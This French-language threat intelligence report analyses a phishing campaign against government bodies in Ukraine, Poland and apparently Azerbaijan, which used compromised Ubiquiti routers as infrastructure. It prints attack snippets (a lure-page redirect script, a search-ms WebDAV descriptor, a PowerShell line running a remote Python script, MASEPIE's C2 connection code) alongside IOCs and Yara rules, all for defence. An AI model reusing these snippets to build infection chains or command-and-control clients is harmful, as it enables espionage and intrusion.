CYBER THREAT INTELLIGENCE

Des routeurs compromis sont toujours exploités comme infrastructure malveillante pour cibler des organisations gouvernementales en Europe et dans le Caucase

23 min

Identifiant: TRR240101.

Le 28/12/2023, le centre gouvernemental ukrainien de réponse aux incidents informatiques (CERT-UA) décrivait une campagne d’attaques informatiques à des fins d’espionnage, ciblant des organisations gouvernementales en Ukraine. Le CERT-UA a attribué cette campagne à l’acteur malveillant APT28 (aussi connu sous les noms Sofacy, Fancy Bear, etc.).

La campagne malveillante décrite exploite des messages de hameçonnage ciblés pour inciter des destinataires à visiter une page Web et ouvrir un raccourci Windows malveillant. Ce dernier permet alors le déploiement de programmes malveillants permettant l’exécution de commandes à distance (MASEPIE, OCEANMAP) et le vol d’identifiants (STEELHOOK), ou encore d’un outil de reconnaissance et de test d’intrusion disponibles sur étagère (Impacket).

Nous avons identifié d’autres éléments d’infrastructure et fichiers malveillants, dont nous estimons (avec un degré de confiance élevé) qu’ils sont exploités dans le cadre de la même campagne. Cette campagne a ciblé des organisations en Ukraine et en Pologne au moins (mais probablement en Azerbaïdjan également), a débuté le 13/12/2023 au plus tard, et s’appuie sur des équipements réseau Ubiquiti légitimes pour son infrastructure. Les éléments factuels et propres dont nous disposons ne nous permettent pas de confirmer ou infirmer l’attribution de cette campagne à APT28 en particulier.

Chemin d’intrusion initiale

Pages Web malveillantes

Selon le CERT-UA, l’acteur malveillant conduisant cette campagne expédie des courriels de hameçonnage depuis des comptes de messagerie légitimes mais préalablement compromis. Nous n’avons pas pu identifier de tels courriels.

Ces courriels de hameçonnage sont supposés contenir des liens vers des pages Web malveillantes (ex. e-wody.firstcloudit[.]com), qui présentent une image de document flouté, faisant office de leurre et incitant les utilisateurs à cliquer sur un bouton pour afficher un document complet (cf. Fig. 1).

Document flouté sur une page Web malveillante
Figure 1 – Document flouté sur une page Web malveillante

Nous avons pu identifier plusieurs de ces pages Web malveillantes, et constatons qu’elles pointent toutes vers le service de publication de fichiers en ligne DriveHQ (le domaine racine .firstcloudit[.]com est légitime et fait office de raccourci pour accéder à des espaces de stockage de DriveHQ). Elles incluent également toutes la même feuille de style HTML (CSS) nommée a.css (SHA-256 2328921cd1ec88aa3dec45c3367782b7760f6a7aa615b15feaad2e34e206e2f0). Les copies de documents leurres que nous avons retrouvés présentaient les titres suivants:

  • Official Information of Azerbaijan Defense Ministry (traduction: « Information officielle du ministère de la défense d’Azerbaïdjan »);
  • Holidays and Observances in Ukraine 2024 (traduction: « Vacances et observances 2024 en Ukraine »);
  • KFP.311.152.2023 (provenant du « Pañstwowe Gospodarstwo Wodne Wody Polskie », l’administration nationale polonaise en charge de la gestion de l’eau);
  • « Рекомендації робочих груп експертів до Стратегії освіти і науки України » (en Ukrainien, traduction approximative: « Recommandations du groupe de travail d’experts sur la stratégie en matière d’éducation et de sciences pour l’Ukraine).

Un clic sur le bouton présenté (au dessus du document leurre flouté) dans les pages Web malveillantes provoque l’exécution d’un script JS inclus dans la page:

function getVideo() {
    window.location.href = 'search:displayname=Downloads&subquery=%5C%5C124.168.91[.]178%4080%5Cwebdav%5Cpol.search-ms';
    const newElement = document.createElement('img');
    newElement.src = "https://czyrqdnvpujmmjkfhhvs9647ioh30wxvd.oast[.]fun";
    newElement.hidden = true;
    document.body.appendChild(newElement);
}

L’exécution de ce script provoque une connexion vers un nom du domaine oast[.]fun (une connexion vers le même nom est également provoquée par une balise image HTML invisible de la même page), ainsi qu’une redirection vers une URI (uniform ressource identifier, identifiant de contenu exposé via Internet ou par un système de fichier) de type search:.

Signalisation Interactsh

Les pages Web malveillantes provoquent des connexions vers un nom d’hôte du domaine oast[.]fun, tel que czyrqdnvpujmmjkfhhvsqslblw0mawilr.oast[.]fun. Le domaine oast[.]fun est légitime et n’est pas spécifique à la campagne: il est détenu par le projet Interactsh. Ce projet fournit un outil libre qui permet de vérifier si une exploitation technique fonctionne lors d’un test d’intrusion, en provoquant une connexion de signalisation vers un nom de domaine. Les tentatives de connexions vers ce dernier sont enregistrées. Cet outil est également exploité à des fins malveillantes depuis plusieurs années.

Dans le cas de cette campagne, nous estimons que ces connexions sont utilisées par l’acteur malveillant comme mécanisme de signalisation, lui permettant de vérifier si l’intrusion initiale a fonctionné pour ses cibles. L’étude des connexions de signalisation peut également permettre aux attaquants de mettre en oeuvre du filtrage d’adresses IP (de sorte que seules les cibles peuvent ensuite se connecter à l’infrastructure malveillante, ou que les chercheurs en cybersécurité ne puissent pas le faire).

Application Web publique Interactsh
Figure 2 – Application Web publique Interactsh

Les noms de domaines Interactsh spécifiques à la campagne et que nous avons pu retrouver sont indiqués en annexe. Les journaux de tentatives de connexion vers ces domaines devraient en principe et notamment être rendus disponibles sur l’interface Web publique d’Interactsh (app.interactsh[.]com, cf. Fig. 2).L’acteur malveillant a exploité les identifiants Interactsh suivants pour cette campagne:

  • czyrqdnvpujmmjkfhhvs;
  • cn5n8a92vtc00004a0t0.

Charge utile malveillante de type search:

Les pages Web malveillantes, lorsqu’elles sont ouvertes par un navigateur Internet de Microsoft (comme Edge), provoquent l’interprétation d’une URI de type search:. Ce descripteur de ressource, propre aux systèmes Microsoft, a pour vocation de décrire une recherche de fichiers reproductible, dont les résultats apparaissent dans une fenêtre de l’explorateur Windows (cf. Fig. 3).

Exemple d'exécution d'une URI de type search
Figure 3 – Exemple d’exécution d’une URI de type search

L’exploitation de tels descripteurs de recherche à des fins malveillantes a déjà été observée par le passé, et elle permet notamment de provoquer l’affichage de fichiers hébergés sur un serveur WebDAV distant.

Dans le cas de cette campagne, l’acteur malveillant exploite deux descripteurs de recherche imbriqués depuis les pages Web malveillantes: search:displayname=Downloads&subquery=%5C%5C124.168.91[.]178%4080%5Cwebdav%5Cpol.search-ms. Un tel descripteur de recherche provoque dans un premier temps le téléchargement d’un autre descripteur de recherche sauvegardé sous forme de fichier (124.168.91[.]178@80webdavpol.search-ms), puis dans un second temps l’exécution de la recherche décrite dans celui-ci.

Nous n’avons pas pu retrouver le fichier descripteur de recherche pol.search-ms en particulier, mais tous les autres fichiers de ce type identifiés dans le cadre de la campagne présentaient un contenu similaire (indenté ici pour faciliter la lecture):

<?xml version="1.0"?>
<persistedQuery version="1.0">
    <viewInfo viewMode="icons" iconSize="256" stackIconSize="0" displayName="Downloads" autoListFlags="0">
        <visibleColumns>
            <column viewField="System.ItemNameDisplay"/>
        </visibleColumns>
        <sortList>
            <sort viewField="System.ItemNameDisplay" direction="ascending"/>
        </sortList>
    </viewInfo>
    <query>
        <kindList>
            <kind name="item"/>
        </kindList>
        <scope>
            <include path="::{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}194.126.178[.]8@80webdavCalendar" attributes="1887437183"/>
            <include path="::{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}194.126.178[.]8c$"/>
        </scope>
    </query>
    <properties>
        <author Type="string">user</author>
    </properties>
</persistedQuery>

Une tel fichier descripteur de recherche provoque l’affichage d’une fenêtre de l’explorateur Windows, contenant les fichiers stockés sur un serveur WebDAV à l’adresse 194.126.178[.]8@80webdavCalendar. Les cas d’usage que nous avons pu identifier provoquaient in fine l’affichage d’un fichier raccourci Windows (LNK) ou d’une archive ZIP.

Fichiers LNK malveillants

En résumé jusqu’ici, après un clic sur un lien de hameçonnage dans un courriel malveillant, puis un clic sur un bouton dans une page Web, une fenêtre de l’explorateur Windows contenant la plupart du temps un fichier raccourci LNK est présentée aux cibles. Le fichier LNK est généralement déguisé en document (grâce à une icône spécifiquement choisie par l’attaquant, et une double-extension de nom de fichier, telle que .pdf<plusieurs espaces>.lnk).

Si la cible ouvre le fichier LNK présenté, alors un interpréteur Python et un script malveillant développé en Python (MASEPIE) sont téléchargés et exécutés, tandis qu’un document leurre (sans flou !) est présenté à la cible.

Par exemple, le fichier LNK KFP.311.152.2023.pdf<plusieurs espaces>.lnk (SHA-256 19d0c55ac466e4188c4370e204808ca0bc02bba480ec641da8190cb8aee92bdc) provoque l’exécution du script Powershell suivant, qui affiche notamment le fichier leurre wody.pdf (cf. Fig. 4):

[system.Diagnostics.Process]::Start('msedge','http://194.126.178[.]8/webdav/wody.pdf'); 194.126.178[.]8@80webdavPython39python.exe 194.126.178[.]8@80webdavPython39Client.py

Dans l’extrait ci-dessus, Client.py est le fichier contenant le script malveillant MASEPIE (décrit au titre suivant).

Example de document leurre présenté lors de l'ouverture d'un fichier LNK
Figure 4 – Example de document leurre présenté lors de l’ouverture d’un fichier LNK

MASEPIE

MASEPIE est un script Python malveillant, offrant à l’attaquant des fonctionnalités d’exécution de code à distance élémentaires sur les machines compromises. Son exécution intervient en principe après l’ouverture d’un fichier LNK dans le chemin d’intrusion initial.

L’échantillon initialement référencé par le CERT-UA est nommé Client.py (SHA-256 18f891a3737bb53cd1ab451e2140654a376a43b2d75f6695f3133d47a41952b6), mais nous avons identifié des occurrences supplémentaires indiquées en annexe.

MASEPIE exploite 2 connexions TCP vers des ports élevés et non-standards (ex. 54763 et 55555) d’un serveur de commande et contrôle (C2):

  • Une connexion fait office de canal général pour l’échange de commandes et données;
  • L’autre sert de canal dédié à la réception de fichiers, déposés ensuite sur le disque dur de la machine compromise.

Les données échangées à travers la connexion TCP sont chiffrées (AES-128 mode CBC), et un identifiant est utilisé comme clé de chiffrement. L’identifiant est généré à partir d’une combinaison aléatoire de 16 caractères ASCII (chiffres et lettres), puis envoyé (en clair) sur le canal général lors du démarrage de MASEPIE:

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('159.196.128[.]120', 55555))
k = ''.join(random.SystemRandom().choice(string.ascii_letters + string.digits) for _ in range(16))
client.send(f"{user}{SEPARATOR}{k}".encode())
client.settimeout(600)

Lorsque l’identifiant a été échangé et que la connexion est établie, MASEPIE surveille indéfiniment la réception de données sur le canal général, et attend des commandes à exécuter. MASEPIE prend en charge les commandes suivantes:

  • check: une requête de signalisation similaire à l’outil ping, à laquelle MASEPIE répond par le message check-ok;
  • send_file: provoque la réception d’un fichier arbitraire sur le canal dédié, et l’écriture du fichier sur le système de la machine compromise;
  • get_file: provoque la lecture et l’envoi d’un fichier arbitraire sur la machine compromise (dont le chemin est précisé) au serveur C2, via le canal général;
  • tout autre message (non vide) est interprété comme une commande shell, à travers la fonction standard os.popen de Python, et les résultats sont renvoyés au serveur C2.

Certaines variantes de MASEPIE (par exemple, SHA-256 18f891a3737bb53cd1ab451e2140654a376a43b2d75f6695f3133d47a41952b6) provoquent également une connexion de signalisation HTTP ver le domaine oast[.]fun (cf. Signalisation Interactsh), tandis qu’une autre (SHA-256 a333243927bb6956dc051ecea5f91b26a6c233b8164fafb9202e1f1e70ce045f) provoque l’affichage d’un document leurre dans le navigateur Edge de Microsoft.

OCEANMAP

ONCEANMAP est un exécutable .NET développé en C# qui utilise des courriels comme canal de C2.

L’occurrence initialement référencée par le CERT-UA peut être identifiée comme suit:

Nom de fichier `VMSearch.exe`
Date de compilation 2068-05-18 08:52:37
Hash (SHA-256) `24fd571600dcc00bf2bb8577c7e4fd67275f7d19d852b909395bebcbb1274e04`
Chemin de fichier PDB `C:WORKSourcetgnewstgnewsobjx64ReleaseVMSearch.pdb`

Nous avons pu retrouver plusieurs occurrences plus anciennes d’OCEANMAP, initialement référencées (mais pas documentées) par Trend Micro en 2021 (par example, SHA256 770206424b8def9f6817991e9a5e88dc5bee0adb54fc7ec470b53c847154c22b).

Nous n’avons pas d’informations propres sur le contexte détaillé de l’exécution d’OCEANMAP. En conséquence, nous ne pouvons confirmer un lien technique entre OCEANMAP et la campagne décrite. Nous estimons toutefois crédible qu’un tel exécutable ait pu être déposé par MASEPIE après la phase d’infection.

OCEANMAP assure la persistence de son exécution en créant un fichier raccourci Internet (EdgeContext.url) dans le répertoire de démarrage (Startup) de l’utilisateur cible – le raccourci créé pointe vers une ressource de type file:, qui provoque l’ouverture d’un fichier local (et non pas l’ouverture d’une ressource exposée sur Internet).

OCEANMAP permet aux attaquants d’exécuter des commandes à distance sur les machines compromises. Pour ce faire, une connexion IMAP/S est établie vers des serveurs de messagerie vraisemblablement légitimes (d’abord 74.124.219[.]71, puis webmail.facadesolutionsuae[.]com en cas d’échec de connexion au premier), grâce à des identifiants de comptes de messagerie certainement compromis ( jrb[@]bahouholdings[.]com sur le premier serveur de messagerie, puis qasim.m[@]facadesolutionsuae[.]com sur le second): les courriels des boites de messageries sont ensuite exploités comme canal de C2.

Les commandes exécutées par OCEANMAP sont obtenues en recherchant des brouillons de courriels contenant un identifiant particulier (unique pour chaque machine cible, voir ci-dessous), puis les résultats d’exécution des commandes sont consignés dans des fichiers spécifiques, au format proche de ceux des courriels. Le contenu des courriels de commande est encodé en base64 (variante spécifique où le caractère + est remplacé par un espace, et l’alignement binaire altéré), et ces courriels sont supprimés par OCEANMAP dès que la commande est décodée.

OCEANMAP exécute les commandes reçues via l’interpréteur shell Windows (cmd.exe), mais peut aussi traiter directement 2 commandes spécifiques pour mettre à jour sa configuration:

  • changesecond: met à jour les serveurs IMAP/S et comptes de messagerie auxquels OCEANMAP se connecte;
  • newtime: met à jour le délai attendu par OCEANMAP entre ses tentatives de connexion au C2.

Ces 2 commandes sont mises en œuvre de façon singulière : afin de mettre à jour sa configuration, OCEANMAP se copie lui-même. Il lit d’abord son propre contenu binaire, remplace dans celui-ci les valeurs de configuration mises à jour, puis écrit le résultat dans un nouveau fichier exécutable (dont l’extension .exe du nom original est remplacé par _tmp.exe). OCEANMAP exécute alors sa copie modifiée ainsi créée. Lors de cette exécution, la nouvelle instance d’OCEANMAP met fin à la précédente (avec la commande taskkill /F /PID), se copie une nouvelle fois dans un nouveau fichier (afin de se débarrasser du tmp_ introduit dans son nom à l’étape précédente), et exécute le dernier fichier créé. Cela conduit en pratique au remplacement complet du fichier exécutable original… mais nécessite 2 exécutions et 2 interruptions d’instances d’exécution.

Infrastructure

Nous avons constaté que tous les serveurs WebDAV (distribuant les fichiers du Chemin d’infection initiale) ainsi que les serveurs C2 de MASEPIE identifiés exposaient un service SSH, et présentaient ou avaient présenté des certificats et interfaces d’administration Web caractéristiques des équipements réseau Ubiquiti.

Adresse IP Caractéristiques Ubiquiti Bannière SSH
`194.126.178[.]8` (AS35625, France) Certificat TLS de nom commun `UBNT Router UI`, de 04/2022 à 10/2023 au moins. Interface d’administration Web `EdgeOS` de 08/2023 à 10/2023 au moins. `SSH-2.0-OpenSSH_6.7p2` (depuis 04/2022 au moins, port 2222)
`124.168.91[.]178` (AS7545, Australie) Certificat TLS de nom commun `UBNT Router UI`, de 08/2023 à 12/2023 au moins. Interface d’administration Web `EdgeOS` dans le même temps. `SSH-2.0-OpenSSH_6.7p2` (de 08/2023 à 12/2023 au moins, port inconnu)
`159.196.128[.]120` (AS4764, Australie) Certificats TLS de noms communs `UbiquitiRouterUI` ou `UBNT Router UI`, de 07/2023 à 09/2023 au moins. Interface d’administration Web `EdgeOS` de 08/2023 à 09/2023 au moins. `SSH-2.0-OpenSSH_6.7p2` (depuis 07/2023 au moins, port 22)
`172.114.170[.]18` (AS20001, Etats-Unis) Certificat TLS de nom commun `UbiquitiRouterUI`, depuis 11/2023 au moins. Interface d’administration Web `EdgeOS` dans la même durée. `SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u7` (depuis 11/2023 au moins, ports 22, 2222 et 58749)

Nous avons également constaté que la plupart des serveurs exploités exposaient une bannière de service SSH inhabituelle (SSH-2.0-OpenSSH_6.7p21). Nous avons déterminé (avec un degré de confiance moyen à élevé) que cette bannière correspond exclusivement à des versions modifiées malveillantes du service OpenSSH usuel, tel que décrit dès 2016. De telles versions malveillantes sont disponibles sur Internet pour différents systèmes et architectures, notamment pour EdgeOS d’Ubiquiti.

En conséquence, nous estimons (avec un degré de confiance élevé) que l’infrastructure malveillante exploitée pour cette campagne est notamment (et peut-être principalement) constituée d’équipements réseau Ubiquiti légitimes mais compromis. Un exécutable OpenSSH modifié malveillant a été préalablement déployé sur ces équipements, en exploitant peut-être des identifiants d’authentification à défaut restés inchangés. En nous basant sur ce constat, nous avons pu identifier d’autres addresses IP, dont nous estimons (avec un dégré de confiance moyen) qu’elles ont également été exploitées à des fins malveillantes dans un cadre similaire (cf. annexe).

Nous fournissons également une liste d’adresses IP qui pointent vers des services OpenSSH modifiés et malveillants (pas nécessairement déployés sur des équipements réseau Ubiquiti) en Annexe. Bien que la plupart ne sont pas exploités dans le cadre de cette campagne, nous pensons qu’un acteur malveillant pourrait également les exploiter à tout moment. Ainsi, des connexions vers ces serveurs compromis et largement exposés devraient être empêchées ou a minima surveillées par les équipes de cybersécurité.

Conclusion

Des analyses d’attaques informatiques précédemment publiées par Sekoia mi-2023, le CERT-FR fin 2023, ou encore des alertes plus récentes, indiquent qu’APT28 a exploité des routeurs Ubiquiti comme infrastructure malveillante pour mener des campagnes de phishing ciblant l’Ukraine.

En étudiant les éléments attribués par le CERT-UA à APT28, nous avons également établi que des équipements réseau Ubiquiti étaient exploités comme infrastructure malveillante pour distribuer des fichiers d’infection, ou comme serveurs de commande et contrôle de premier niveau.

Le niveau général de sophistication et de discrétion des outils et activités malveillants décrits est faible. Ces derniers sont toutefois parfaitement adaptés au maintien d’une pression constante sur les capacités de cybersécurité de l’Ukraine (et ses soutiens), avec un niveau d’investissement minimal ; tout en permettant réellement le recueil de renseignement technique élémentaire (reconnaissance technique, identifiants). Les attaquants ont par ailleurs pris soin d’exploiter des équipements déjà compromis pour constituer leur infrastructure, et peuvent ainsi facilement nier être à l’origine des activités associées. Ces caractéristiques correspondent autant à la volonté et aux capacités d’un acteur malveillant soutenu par un État, souhaitant accompagner un effort général de pression dans le cadre d’un conflit politique ou militaire.

Les cibles que nous avons pu identifier pour cette campagne paraissent par ailleurs en adéquation avec les intérêts militaires et stratégiques de la Fédération de Russie. Toutefois, elles seraient également en adéquation avec les intérêts d’alliés de la Russie… et de nombreux pays du Caucase lors d’un conflit régional. Nous ne sommes pas raisonnablement en mesure d’attribuer la campagne décrite à APT28, et notons d’ailleurs que la publication de référence du CERT-UA n’étaie pas les raisons de son attribution. Si nous disposions d’un aperçu représentatif de l’ensemble des cibles de cette campagne (ce qui est peu probable), nous pourrions estimer (avec un degré de confiance moyen à élevé) que cette campagne d’attaques est opérée pour servir les intérêts russes – mais son exécutant pourrait être une organisation privée, et/ou ne pas être affiliée à la fédération de Russie.

Annexe

Indicateurs de compromission (IOCs)

Les indicateurs de compromission associés sont également mis à disposition sur notre répertoire GitHub.

Condensats (SHA-256)

4b71f745707832671067c4d534b486840565ba2cda04e7daf2e2ac1324ff3db8|Malicious Web page HTML file
12a6ed6b24b77eaad892d7484ba3f150e0d3b3007d78d142dc407158ef77c107|Malicious Web page HTML file
628bc9f4aa71a015ec415d5d7d8cb168359886a231e17ecac2e5664760ee8eba|Malicious Web page HTML file
9959c04723b51190536d1cd149083d3719488baa8f5dfcfa00fad8def003c8ef|Malicious Web page HTML file
516591eda6636ac1852ebac4b9b68e2a14d37e419d71f1697c34b55ee4d18bb4|Malicious Web page HTML file
516970af209f517b312317b69f2091583fb631422fa0efc2f7cc3b1bfaf4bbf0|Malicious Web page HTML file
2328921cd1ec88aa3dec45c3367782b7760f6a7aa615b15feaad2e34e206e2f0|Malicious Web page HTML file
19d0c55ac466e4188c4370e204808ca0bc02bba480ec641da8190cb8aee92bdc|Malicious LNK
593583b312bf48b7748f4372e6f4a560fd38e969399cf2a96798e2594a517bf4|Malicious LNK
1b598c7c35f00d2c940dfd3745bd9e5d036df781d391b8f3603a2969c666761b|Malicious LNK
d84c39579e61c406380f37da7c2a6758ed9a4c9a0e7697c073e2ddbb563360cd|Malicious LNK
2d844afe1a9f5c59ca96d2ab738ef43aec2391c8a37107d496d1d6cf260cede8|Malicious LNK
c22868930c02f2d6962167198fde0d3cda78ac18af506b57f1ca25ca5c39c50d|Malicious LNK
18f891a3737bb53cd1ab451e2140654a376a43b2d75f6695f3133d47a41952b6|MASEPIE
0429bdc6a302b4288aea1b1e2f2a7545731c50d647672fa65b012b2a2caa386e|MASEPIE
a333243927bb6956dc051ecea5f91b26a6c233b8164fafb9202e1f1e70ce045f|MASEPIE
24fd571600dcc00bf2bb8577c7e4fd67275f7d19d852b909395bebcbb1274e04|OCEANMAP
fe00bd6fba209a347acf296887b10d2574c426fa962b6d4d94c34b384d15f0f1|OCEANMAP
b61e0f68772f3557024325f3a05e4edb940dbbe380af00f3bdaaaeabda308e72|OCEANMAP
c8b6291fc7b6339d545cbfa99256e26de26fff5f928fef5157999d121fe46135|OCEANMAP
50b000a7d61885591ba4ec9df1a0a223dbceb1ac2facafcef3d65c8cbbd64d46|OCEANMAP
3384a9ef3438bf5ec89f268000cc7c83f15e3cdf746d6a93945add300423f756|OCEANMAP
abf0c2538b2f9d38c98b422ea149983ca95819aa6ebdac97eae777ea8ba4ca8c|OCEANMAP
faf8db358e5d3dbe2eb9968d8b19f595f45991d938427124161f5ed45ac958d5|OCEANMAP
4c1b8d070885e92d61b72dc9424d9b260046f83daf00d93d3121df9ed669a5f9|OCEANMAP
770206424b8def9f6817991e9a5e88dc5bee0adb54fc7ec470b53c847154c22b|OCEANMAP
6fb2facdb906fc647ab96135ce2ca7434476fb4f87c097b83fd1dd4e045d4e47|OCEANMAP

Noms de fichiers

mod.search-ms|WebDAV-hosted search-ms filename
info-mod.search-ms|WebDAV-hosted search-ms filename
vinnic.search-ms|WebDAV-hosted search-ms filename
calendar.search-ms|WebDAV-hosted search-ms filename
wody.search-ms|WebDAV-hosted search-ms filename
pol.search-ms|WebDAV-hosted search-ms filename

Noms d’hôtes

e-nas.firstcloudit[.]com|Malicious Web page hostname
nas-files.firstcloudit[.]com|Malicious Web page hostname
ua-calendar.firstcloudit[.]com|Malicious Web page hostname
e-mod.firstcloudit[.]com|Malicious Web page hostname
wody-info-files.firstcloudit[.]com|Malicious Web page hostname
info-mod.firstcloudit[.]com|Malicious Web page hostname
e-wody.firstcloudit[.]com|Malicious Web page hostname
czyrqdnvpujmmjkfhhvs4knf1av02demj.oast[.]fun|Interactsh hostname
czyrqdnvpujmmjkfhhvsvlaax17vd5r6v.oast[.]fun|Interactsh hostname
czyrqdnvpujmmjkfhhvsclx05sfi23bfr.oast[.]fun|Interactsh hostname
czyrqdnvpujmmjkfhhvsqslblw0mawilr.oast[.]fun|Interactsh hostname
czyrqdnvpujmmjkfhhvseabz1q5olrum5.oast[.]fun|Interactsh hostname
czyrqdnvpujmmjkfhhvs9647ioh30wxvd.oast[.]fun|Interactsh hostname
czyrqdnvpujmmjkfhhvs2x9oyfsn6gd7t.oast[.]fun|Interactsh hostname
czyrqdnvpujmmjkfhhvsqfxkqz68qzjcd.oast[.]fun|Interactsh hostname
cn5n8a92vtc00004a0t0gks3tbcyyyyyd.oast[.]fun|Interactsh hostname

Adresses IP

194.126.178[.]8|WebDAV stager + MASEPIE C2 server (legitimate compromised)
124.168.91[.]178|WebDAV stager (legitimate compromised)
159.196.128[.]120|MASEPIE C2 server (legitimate compromised)
172.114.170[.]18|MASEPIE C2 server (legitimate compromised)

Adresses IP suspectes, susceptibles d’être associées (de Mai 2023 à Janvier 2024)

61.68.76[.]111
203.221.195[.]80
12.171.204[.]129
12.94.8[.]230
23.24.68[.]109

Adresses IP exposant des services OpenSSH compromis (Janvier 2024)

Uniquement sur GitHub (plus de 2000 entrées).

Règles Yara

Les règles Yara associées sont également mises à disposition sur notre répertoire GitHub.

Les règles Yara fournies nécessitent Yara version 3.2.0 (10 Nov. 2014) ou supérieure.

rule masepie_campaign_htmlstarter
{
    meta:
        description = "Detect Malicious Web page HTML file from CERT-UA#8399"
        references = "TRR240101;https://cert.gov.ua/article/6276894"
        hash = "628bc9f4aa71a015ec415d5d7d8cb168359886a231e17ecac2e5664760ee8eba"
        date = "2024-01-24"
        author = "HarfangLab"
        context = "file"
    strings:
        $s1 = "<link rel="stylesheet" href="a.css">" ascii wide fullword
        $s2 = "src=".Capture" ascii wide
    condition:
        filesize > 600 and filesize < 5KB
        and (all of them)
}

rule masepie_campaign_webdavlnk
{
    meta:
        description = "Detect Malicious LNK from CERT-UA#8399"
        references = "TRR240101;https://cert.gov.ua/article/6276894"
        hash = "19d0c55ac466e4188c4370e204808ca0bc02bba480ec641da8190cb8aee92bdc"
        date = "2024-01-24"
        author = "HarfangLab"
        context = "file"
    strings:
        $a1 = "[system.Diagnostics.Process]::Start('msedge','http" wide nocase fullword
        $a2 = "MicrosoftEdgeApplicationmsedge.exe" wide nocase fullword
        $a3 = "powershell.exe" ascii wide fullword
        $s1 = "win-j5ggokh35ap" ascii fullword
        $s2 = "desktop-q0f4sik" ascii fullword
    condition:
        filesize > 1200 and filesize < 5KB
        and (uint16be(0) == 0x4c00)
        and (
            (all of ($a*))
            or (any of ($s*))
        )
}

rule masepie_campaign_masepie
{
    meta:
        description = "Detect MASEPIE from CERT-UA#8399"
        references = "TRR240101;https://cert.gov.ua/article/6276894"
        hash = "18f891a3737bb53cd1ab451e2140654a376a43b2d75f6695f3133d47a41952b6"
        date = "2024-01-24"
        author = "HarfangLab"
        context = "file"
    strings:
        $t1 = "Try it againg" ascii wide fullword
        $t2 = "{user}{SEPARATOR}{k}" ascii wide fullword
        $t3 = "Error transporting file" ascii wide fullword
        $t4 = "check-ok" ascii wide fullword
        $a1 = ".join(random.SystemRandom().choice(string.ascii_letters + string.digits) for _ in range(16))" ascii wide fullword
        $a2 = "dec_file_mes(mes, key)" ascii wide fullword
        $a3 = "os.popen('whoami').read()" ascii wide fullword
    condition:
        filesize > 2KB and filesize < 15MB
        and (4 of them)
}

rule masepie_campaign_oceanmap
{
    meta:
        description = "Detect OCEANMAP from CERT-UA#8399"
        references = "TRR240101;https://cert.gov.ua/article/6276894"
        hash = "24fd571600dcc00bf2bb8577c7e4fd67275f7d19d852b909395bebcbb1274e04"
        date = "2024-01-24"
        modified = "2024-01-31"
        author = "HarfangLab"
        context = "file"
    strings:
        $dotNet = ".NETFramework,Version" ascii fullword
        $a1 = "$ SELECT INBOX.Drafts" wide fullword
        $a2 = "$ SELECT Drafts" wide fullword
        $a3 = "$ UID SEARCH subject "" wide fullword
        $a4 = "$ APPEND INBOX {" wide fullword
        $a5 = "+FLAGS (Deleted)" wide fullword
        $a6 = "$ EXPUNGE" wide fullword
        $a7 = "BODY.PEEK[text]" wide fullword
        $t1 = "change_time" ascii fullword
        $t2 = "ReplaceBytes" ascii fullword
        $t3 = "fcreds" ascii fullword
        $t4 = "screds" ascii fullword
        $t5 = "r_creds" ascii fullword
        $t6 = "comp_id" ascii fullword
        $t7 = "changesecond" wide fullword
        $t8 = "taskkill /F /PID" wide fullword
        $t9 = "cmd.exe" wide fullword
    condition: 
        filesize > 8KB and filesize < 100KB
        and (uint16be(0) == 0x4D5A)
        and $dotNet
        and (3 of ($a*))
        and (2 of ($t*))
}
– – – – – – 1. En exploitant des données disponibles publiquement, nous avons compté environ 2450 serveurs SSH présentant cette bannière fin Janvier 2024, contre 121367 serveurs exposant une bannière comportant `SSH-2.0-OpenSSH_6.7p1`. [↩](#fnref1:1)